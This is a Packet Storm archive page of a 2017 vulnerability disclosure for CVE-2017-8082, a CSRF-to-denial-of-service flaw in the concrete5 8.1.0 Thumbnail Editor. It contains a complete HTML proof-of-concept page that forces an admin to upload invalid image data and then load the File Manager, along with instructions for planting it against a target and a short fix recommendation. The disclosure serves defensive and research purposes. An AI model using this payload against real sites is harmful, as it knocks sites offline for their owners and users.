exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

concrete5 8.1.0 Thumbnail Editor CSRF / DoS

concrete5 8.1.0 Thumbnail Editor CSRF / DoS
Posted May 2, 2017
Authored by Project Insecurity, sxcurity | Site insecurity.zone

concrete5 8.1.0 Thumbnail Editor suffers from cross site request forgery and denial of service vulnerabilities.

tags | exploit, denial of service, vulnerability, csrf
advisories | CVE-2017-8082
SHA-256 | 860518c65e9b09599ffacfde229d0d06cf821ef031e1a993e40d77833cf07319

concrete5 8.1.0 Thumbnail Editor CSRF / DoS

Change Mirror Download
           ______  ______   _____     ___   _____   _____   _____
| ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _|
| |_/ / | |_/ / | | | | | | | |__ | / \/ | |
| __/ | / | | | | | | | __| | | | |
| | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | |
\_| \_| \_| \___/ \____/ \____/ \____/ \_/


_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __
|_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / /
| | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V /
| | | . ` | `--. \ | __| | | | | | | | / | | | | \ /
_| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | |
\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/


[+]-------------------------------------------------------------[+]
| Vulnerable Software: Concrete5 CMS |
| Vendor: http://www.concrete5.org/ |
| Vulnerability Type: CSRF to DoS (disables installation) |
| Date Released: 23/04/2017 |
| Released by: CDL (@sxcurity) |
[+]-------------------------------------------------------------[+]

[+] Description:
Concrete5's Thumbnail Editor in the File Manager is vulnerable to CSRF, which allows remote attackers to disable the entire
installation of concrete5, by merely tricking an admin view a malicious page. This results in a site-wide denial of service
meaning neither the admin OR any of the website users can acccess the site.

-------------------------------------------------------------------------------------------------------------
[+] Summary:
The Thumbnail Editor function in the File Manager of Concrete5 allows an admin to change a thumbnail of a picture.
However, this function does not have any CSRF tokens / any other protection from CSRF, thus allowing an attacker to
make an admin upload a picture.

If the picture is invalid, the image processor will throw an error immediately and when the admin visits the File Manager,
a side-wide error will trigger, making the site unusable! (Example: http://archive.is/LZa5b)

The vulnerable parameter is 'imgData' POST/GET param in 'http://[HOST]/index.php/tools/required/files/importers/imageeditor'

So, in order to trigger this site-wide error, an attacker would first have to make the admin do 2 things.
1.) Make the admin upload an invalid image
2.) Make the admin visit the File Manager

I came up with a proof of concept to do just that ;)

[+] Proof of Concept:

-------------------------------------------------------------------------------------------------------------
<!DOCTYPE html>
<head>
<title>@insecurity | CSRF PoC | concrete5 </title>
</head>
<body>
<center>
<h1>Project Insecurity - Concrete5 CSRF - Proof of Concept</h1>
<h6> Author: <a href="http://twitter.com/sxcurity">@sxcurity</a></h6>
<a href="http://twitter.com/insecurity">
<img src="http://insecurity.zone/logo.png" width="200" height="200" alt="logo" />
<br>
</a>

<!-- Performing required action to exploit the CSRF vulnerability -->
<img
src="http://[HOST]/index.php/tools/required/files/importers/imageeditor?fID=1&imgData=hacktheplanet"
onerror=this.src="http://[HOST]/index.php/dashboard/files/search"
alt="GET REKT" />
<!-- Performing 2nd action to trigger CSRF resulting in site-wide DoS -->

<script>alert("CSRF Triggered - Site-wide DoS now in effect!");</script>
</center>
</body>
</html>
-------------------------------------------------------------------------------------------------------------

(Replace http://[HOST]/ with the URL of the Concrete5 installation you are targeting, upload the HTML somewhere, and get an admin to visit that page.)

The 'src' tag uploads the invalid image data, and the onerror=this.src="" makes a new 'src' tag and makes the admin visit the file manager,
which then triggers the site wide error.


[+] Test it! :
You can create a 1 hour demo of concrete5 for free (https://bitnami.com/launch/concrete5) & exploit it there!

-------------------------------------------------------------------------------------------------------------

[+] Fix / Patch:
Add CSRF tokens, and make sure the image processor first validates that the uploaded image is a valid picture.

[+]---------------------------------------------------------[+]
| CONTACT US: |
| |
| IRC: irc.insecurity.zone (6667/6697) #insecurity |
| Twitter: @insecurity |
| Website: insecurity.zone |
[+]---------------------------------------------------------[+]
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close